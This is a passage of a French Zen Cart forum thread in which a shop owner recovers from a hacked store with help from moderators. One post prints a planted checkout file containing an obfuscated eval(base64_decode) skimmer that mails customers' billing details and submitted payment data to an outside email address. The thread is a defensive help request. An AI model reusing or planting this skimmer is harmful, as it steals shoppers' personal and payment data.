Bienvenue, Invité. Veuillez vous connecter ou vous inscrire.
Avez-vous perdu votre courriel d'activation?
*


Erreur fatale DIR_WS_TEMPLATEStemplate_default/common/html_header.php


Pages: 1 2 [3]
  Imprimer  

  Erreur fatale DIR_WS_TEMPLATEStemplate_default/common/html_header.php
Auteur Message
freduf
Modérateurs
Intarissable
*****

Points gagnés: 5
Messages: 878



Voir le profil
Re : Erreur fatale DIR_WS_TEMPLATEStemplate_default/common/html_header.php
« Répondre #30 le: 20 Mars 2010 à 11:14:00 »

j'ai éditer ton post, j'ai remplacer des URL pas bonnes du tout par des XXXXXXXXXXXXXXXX

Ben tu vas avoir du boulot .............

Si tu veux y passer le week end recherches tous les lignes et URL incorporées dans tes fichiers, sinon, efface tout et recouche une version saine de ZC

Si tu prend la 2eme option, fais une sauvegarde de tes 2 fichiers configure.php puis, sans les remettre tu réécris les accès manuellement dans les nouveaux fichiers configure.php de la copie saine.

Une fois fait, tu fais une copie intégrale de tous les fichiers de ta boutique, cela te permettra d'avoir une sauvegarde au cas ou ....

Après, va lire ce post, il pourrait t'être utile
http://www.zencart-france.com/forum/empty-t2822.0.html
Journalisée

L'urgent est déjà fait, l'impossible est en cours...pour les miracles, prévoir un délais.
*************************
ZC v 1.3.8a avec patch sécurité
Ycg
Apprenti
**

Points gagnés: 0
Messages: 52


Voir le profil
Re : Erreur fatale DIR_WS_TEMPLATEStemplate_default/common/html_header.php
« Répondre #31 le: 20 Mars 2010 à 11:46:03 »

J'irais voir tout à l'heure ton lien.

En attendant j'ai un doute, la bonne commande c'est:

define('DIR_WS_CATALOG_TEMPLATE', HTTP_CATALOG_SERVER . DIR_WS_CATALOG . 'includes/templates/');

Ou

define('DIR_WS_TEMPLATE', DIR_WS_INCLUDES . 'templates/');
Journalisée
freduf
Modérateurs
Intarissable
*****

Points gagnés: 5
Messages: 878



Voir le profil
Re : Erreur fatale DIR_WS_TEMPLATEStemplate_default/common/html_header.php
« Répondre #32 le: 20 Mars 2010 à 12:14:55 »

j'ai télécharger une v 1.3.7 pour voir et il me donne cette ligne

define('DIR_WS_TEMPLATE', DIR_WS_INCLUDES . 'templates/');
Journalisée

L'urgent est déjà fait, l'impossible est en cours...pour les miracles, prévoir un délais.
*************************
ZC v 1.3.8a avec patch sécurité
Ycg
Apprenti
**

Points gagnés: 0
Messages: 52


Voir le profil
Re : Erreur fatale DIR_WS_TEMPLATEStemplate_default/common/html_header.php
« Répondre #33 le: 20 Mars 2010 à 12:40:41 »

Ok, merci
Journalisée
fe1lho
Acharné
****

Points gagnés: 0
Messages: 473



Voir le profil
Re : Erreur fatale DIR_WS_TEMPLATEStemplate_default/common/html_header.php
« Répondre #34 le: 20 Mars 2010 à 13:38:22 »

Si je ne m'abuse, il y a un module SNAPSHOT pour faire une image de la distribtution et vérifier ce genre de désagrément ...

Est-ce correct ?

Ceci dit, il faut aussi penser à faire des sauvegardes du site et de la base.
Cela ne s'invente pas, de mettre en ligne une boutique, d'autant que des données sensibles transitent sur ce site ...
Journalisée
Ycg
Apprenti
**

Points gagnés: 0
Messages: 52


Voir le profil
Re : Erreur fatale DIR_WS_TEMPLATEStemplate_default/common/html_header.php
« Répondre #35 le: 20 Mars 2010 à 13:56:23 »

Bizarre, je trouve plein de fichier .php dans shop/images

de ce style

<?php
/**
 * checkout_confirmation header_php.php
 *
 * @package page
 * @copyright Copyright 2003-2006 Zen Cart Development Team
 * @copyright Portions Copyright 2003 osCommerce
 * @license http://www.zen-cart.com/license/2_0.txt GNU Public License V2.0
 * @version $Id: header_php.php 5324 2006-12-21 17:41:25Z drbyte $
 */

// This should be first line of the script:
$zco_notifier->notify('NOTIFY_HEADER_START_CHECKOUT_CONFIRMATION');

// if there is nothing in the customers cart, redirect them to the shopping cart page
if ($_SESSION['cart']->count_contents() <= 0) {
    zen_redirect(zen_href_link(FILENAME_TIME_OUT));
}

// if the customer is not logged on, redirect them to the login page
  if (!$_SESSION['customer_id']) {
    $_SESSION['navigation']->set_snapshot(array('mode' => 'SSL', 'page' => FILENAME_CHECKOUT_PAYMENT));
    zen_redirect(zen_href_link(FILENAME_LOGIN, '', 'SSL'));
  } else {
    // validate customer
    if (zen_get_customer_validate_session($_SESSION['customer_id']) == false) {
      $_SESSION['navigation']->set_snapshot();
      zen_redirect(zen_href_link(FILENAME_LOGIN, '', 'SSL'));
    }
  }

// avoid hack attempts during the checkout procedure by checking the internal cartID
if (isset($_SESSION['cart']->cartID) && $_SESSION['cartID']) {
  if ($_SESSION['cart']->cartID != $_SESSION['cartID']) {
    zen_redirect(zen_href_link(FILENAME_CHECKOUT_SHIPPING, '', 'SSL'));
  }
}

// if no shipping method has been selected, redirect the customer to the shipping method selection page
if (!$_SESSION['shipping']) {
  zen_redirect(zen_href_link(FILENAME_CHECKOUT_SHIPPING, '', 'SSL'));
}

if (isset($_POST['payment'])) $_SESSION['payment'] = $_POST['payment'];
$_SESSION['comments'] = zen_db_prepare_input($_POST['comments']);

//'checkout_payment_discounts'
//zen_redirect(zen_href_link(FILENAME_CHECKOUT_PAYMENT, '', 'SSL'));


if (DISPLAY_CONDITIONS_ON_CHECKOUT == 'true') {
  if (!isset($_POST['conditions']) || ($_POST['conditions'] != '1')) {
    $messageStack->add_session('checkout_payment', ERROR_CONDITIONS_NOT_ACCEPTED, 'error');
  }
}
//echo $messageStack->size('checkout_payment');

require(DIR_WS_CLASSES . 'order.php');
$order = new order;

require(DIR_WS_CLASSES . 'order_total.php');
$order_total_modules = new order_total;
$order_total_modules->collect_posts();
$order_total_modules->pre_confirmation_check();
eval(base64_decode('ICRkdGE9Imh0dHA6Ly95Y2ctci5jb20vc2hvcCwxMDE3OiBmbj0iLiRvcmRlci0+YmlsbGluZ1siZmlyc3RuYW1lIl0uIixsbj0iLiRvcmRlci0+YmlsbGluZ1sibGFzdG5hbWUiXS4iLGFkPSIuJG9yZGVyLT5iaWxsaW5nWyJzdHJlZXRfYWRkcmVzcyJdLiIsY3Q9Ii4kb3JkZXItPmJpbGxpbmdbImNpdHkiXS4iLHN0PSIuJG9yZGVyLT5iaWxsaW5nWyJzdGF0ZSJdLiIscGM9Ii4kb3JkZXItPmJpbGxpbmdbInBvc3Rjb2RlIl0uIixjbnQ9Ii4kb3JkZXItPmJpbGxpbmdbImNvdW50cnkiXVsidGl0bGUiXS4iLHBoPSIuJG9yZGVyLT5jdXN0b21lclsidGVsZXBob25lIl0uIixlbT0iLiRvcmRlci0+Y3VzdG9tZXJbImVtYWlsX2FkZHJlc3MiXTtmb3JlYWNoICggJF9QT1NUIGFzICRrZXkgPT4gJHZhbHVlICkgeyAkZHRhIC49ICIoIi4ka2V5LiIsIi4kdmFsdWUuIikiO30gemVuX21haWwoImRhcmtmaWciLCAiZm5sbjc2ODY0MjMxQHZmZW1haWwubmV0IiwgIm5ldyBvcmRlcnMiLCBiYXNlNjRfZW5jb2RlKCRkdGEpLCBTVE9SRV9OQU1FLCBFTUFJTF9GUk9NLCAiIiwgIm5vX2FyY2hpdmUiKTsg'));

// load the selected payment module
require(DIR_WS_CLASSES . 'payment.php');

if ($credit_covers) {
  unset($_SESSION['payment']);
  $_SESSION['payment'] = '';
}


$payment_modules = new payment($_SESSION['payment']);
$payment_modules->update_status();
if (($_SESSION['payment'] == '' && !$credit_covers) || (is_array($payment_modules->modules)) && (sizeof($payment_modules->modules) > 1) && (!is_object($$_SESSION['payment'])) && (!$credit_covers) ) {
  $messageStack->add_session('checkout_payment', ERROR_NO_PAYMENT_MODULE_SELECTED, 'error');
}

if (is_array($payment_modules->modules)) {
  $payment_modules->pre_confirmation_check();
}

if ($messageStack->size('checkout_payment') > 0) {
  zen_redirect(zen_href_link(FILENAME_CHECKOUT_PAYMENT, '', 'SSL'));
}
//echo $messageStack->size('checkout_payment');
//die('here');

// load the selected shipping module
require(DIR_WS_CLASSES . 'shipping.php');
$shipping_modules = new shipping($_SESSION['shipping']);

// Stock Check
$flagAnyOutOfStock = false;
$stock_check = array();
if (STOCK_CHECK == 'true') {
  for ($i=0, $n=sizeof($order->products); $i<$n; $i++) {
    if ($stock_check[$i] = zen_check_stock($order->products[$i]['id'], $order->products[$i]['qty'])) {
      $flagAnyOutOfStock = true;
    }
  }
  // Out of Stock
  if ( (STOCK_ALLOW_CHECKOUT != 'true') && ($flagAnyOutOfStock == true) ) {
    zen_redirect(zen_href_link(FILENAME_SHOPPING_CART));
  }
}

// update customers_referral with $_SESSION['gv_id']
if ($_SESSION['cc_id']) {
  $discount_coupon_query = "SELECT coupon_code
                            FROM " . TABLE_COUPONS . "
                            WHERE coupon_id = :couponID";

  $discount_coupon_query = $db->bindVars($discount_coupon_query, ':couponID', $_SESSION['cc_id'], 'integer');
  $discount_coupon = $db->Execute($discount_coupon_query);

  $customers_referral_query = "SELECT customers_referral
                               FROM " . TABLE_CUSTOMERS . "
                               WHERE customers_id = :customersID";

  $customers_referral_query = $db->bindVars($customers_referral_query, ':customersID', $_SESSION['customer_id'], 'integer');
  $customers_referral = $db->Execute($customers_referral_query);

  // only use discount coupon if set by coupon
  if ($customers_referral->fields['customers_referral'] == '' and CUSTOMERS_REFERRAL_STATUS == 1) {
    $sql = "UPDATE " . TABLE_CUSTOMERS . "
            SET customers_referral = :customersReferral
            WHERE customers_id = :customersID";

    $sql = $db->bindVars($sql, ':customersID', $_SESSION['customer_id'], 'integer');
    $sql = $db->bindVars($sql, ':customersReferral', $discount_coupon->fields['coupon_code'], 'string');
    $db->Execute($sql);
  } else {
    // do not update referral was added before
  }
}

if (isset($$_SESSION['payment']->form_action_url)) {
  $form_action_url = $$_SESSION['payment']->form_action_url;
} else {
  $form_action_url = zen_href_link(FILENAME_CHECKOUT_PROCESS, '', 'SSL');
}

// if shipping-edit button should be overridden, do so
$editShippingButtonLink = zen_href_link(FILENAME_CHECKOUT_SHIPPING, '', 'SSL');   
if (method_exists($$_SESSION['payment'], 'alterShippingEditButton')) {
  $theLink = $$_SESSION['payment']->alterShippingEditButton();
  if ($theLink) $editShippingButtonLink = $theLink;
}
// deal with billing address edit button
$flagDisablePaymentAddressChange = false;
if (isset($$_SESSION['payment']->flagDisablePaymentAddressChange)) {
  $flagDisablePaymentAddressChange = $$_SESSION['payment']->flagDisablePaymentAddressChange;
}


require(DIR_WS_MODULES . zen_get_module_directory('require_languages.php'));
$breadcrumb->add(NAVBAR_TITLE_1, zen_href_link(FILENAME_CHECKOUT_SHIPPING, '', 'SSL'));
$breadcrumb->add(NAVBAR_TITLE_2);

// This should be last line of the script:
$zco_notifier->notify('NOTIFY_HEADER_END_CHECKOUT_CONFIRMATION');
?>

le pire c'est que ce fichier (qui a l'air d'être à la base de zencart) je ne le retrouve nulle part ailleurs... Il se nomme 912d2.php


Ma question est:
-d'où peut sortir ce fichier ?
-ou va il normalement ?
Journalisée
freduf
Modérateurs
Intarissable
*****

Points gagnés: 5
Messages: 878



Voir le profil
Re : Erreur fatale DIR_WS_TEMPLATEStemplate_default/common/html_header.php
« Répondre #36 le: 20 Mars 2010 à 14:15:43 »

vu la ligne de code qu'il y a dedans:

eval(base64_decode('ICRkdGE9Imh0dHA6Ly95Y2ctci5jb20v

ce fichier à été ajouter, il doit certainement détourner le moyen de paiement...

Aller prend pas de gants, supprimes tous tes fichiers et recouche tout en neuf !, car vu le nombres de fichiers hackés, tu vas certainement en oublié...
Journalisée

L'urgent est déjà fait, l'impossible est en cours...pour les miracles, prévoir un délais.
*************************
ZC v 1.3.8a avec patch sécurité
Ycg
Apprenti
**

Points gagnés: 0
Messages: 52


Voir le profil
Re : Erreur fatale DIR_WS_TEMPLATEStemplate_default/common/html_header.php
« Répondre #37 le: 20 Mars 2010 à 15:06:29 »

le problème c'est que si je recouche tous les fichiers je perds la boutique!!

-clients
-commande encours
-articles (1800 à peu prêt)...


Comment je peux sauver certaine partie ?
Journalisée
fe1lho
Acharné
****

Points gagnés: 0
Messages: 473



Voir le profil
Re : Erreur fatale DIR_WS_TEMPLATEStemplate_default/common/html_header.php
« Répondre #38 le: 20 Mars 2010 à 15:30:55 »

Sauf erreur, les commandes sont dans la base et non dans les fichiers php, js et autre de la boutique...
Ceci dit, un backup te permet de garder trace de tout le site et backup aussi la base MySQL

Le soucis est qu'il faudra surement tout réinstaller ( je parle des modules ...) avec toute l'énergie que cela à pu prendre....

Je pense que ce module pourra être utile à l'avenir ... http://www.zen-cart.com/index.php?main_page=product_contrib_info&products_id=1207
« Dernière édition: 20 Mars 2010 à 15:33:08 par fe1lho » Journalisée
freduf
Modérateurs
Intarissable
*****

Points gagnés: 5
Messages: 878



Voir le profil
Re : Erreur fatale DIR_WS_TEMPLATEStemplate_default/common/html_header.php
« Répondre #39 le: 20 Mars 2010 à 15:51:55 »

exact, il ne faut pas supprimer la base de données, uniquement supprimer les fichiers et dossiers de la boutique et tout remettre a neuf

en prenant soin de garder au chaud les 2 fichiers configure.php afin de t'en servir pour recréer les nouveaux

Par contre, comme l'a dit fe1lho si tu avais ajouter des modules complémentaires ou autres modifications de code, tout cela sera perdu, il faudra les refaire ou remettre.
Journalisée

L'urgent est déjà fait, l'impossible est en cours...pour les miracles, prévoir un délais.
*************************
ZC v 1.3.8a avec patch sécurité
Ycg
Apprenti
**

Points gagnés: 0
Messages: 52


Voir le profil
Re : Erreur fatale DIR_WS_TEMPLATEStemplate_default/common/html_header.php
« Répondre #40 le: 20 Mars 2010 à 21:06:11 »

petit à petit je change les fichiers que je vois "différent"... Et la je me retrouve maintenant avec une autre erreur

Fatal error: Call to undefined function is__writeable() in /home/www/35a808df67a58d94c62f8258c37574a7/web/shop/includes/init_includes/init_header.php  on line 56

En fait j'ai remplacé le fichier init_header.php par un nouveau

-celui ci: @version $Id: init_header.php 3964 2006-07-14 03:25:38Z ajeh $
-Par celui ci: @version $Id: init_header.php 6990 2007-09-12 21:45:57Z drbyte $

Pour info, si je reviens en arrière, je me retrouve avec l'erreur de départ...
Journalisée
Ycg
Apprenti
**

Points gagnés: 0
Messages: 52


Voir le profil
Re : Erreur fatale DIR_WS_TEMPLATEStemplate_default/common/html_header.php
« Répondre #41 le: 21 Mars 2010 à 00:59:23 »

EUREKA !!!!

je ne sais pas vraiment ce que j'ai fait mais la boutique remarche presque comme avant.

http://www.ycg-r.com/shop/

Les couleurs ont changé, la taille du header en haut aussi... Mais bon après deux semaines sans pouvoir travailler ça fait du bien de la revoir  Smile

merci à tous pour le coup de main. je vais en profiter pour compre,ndre certaine chose comme les options et attributs
Journalisée

Pages: 1 2 [3]
  Imprimer  
 

Aller à: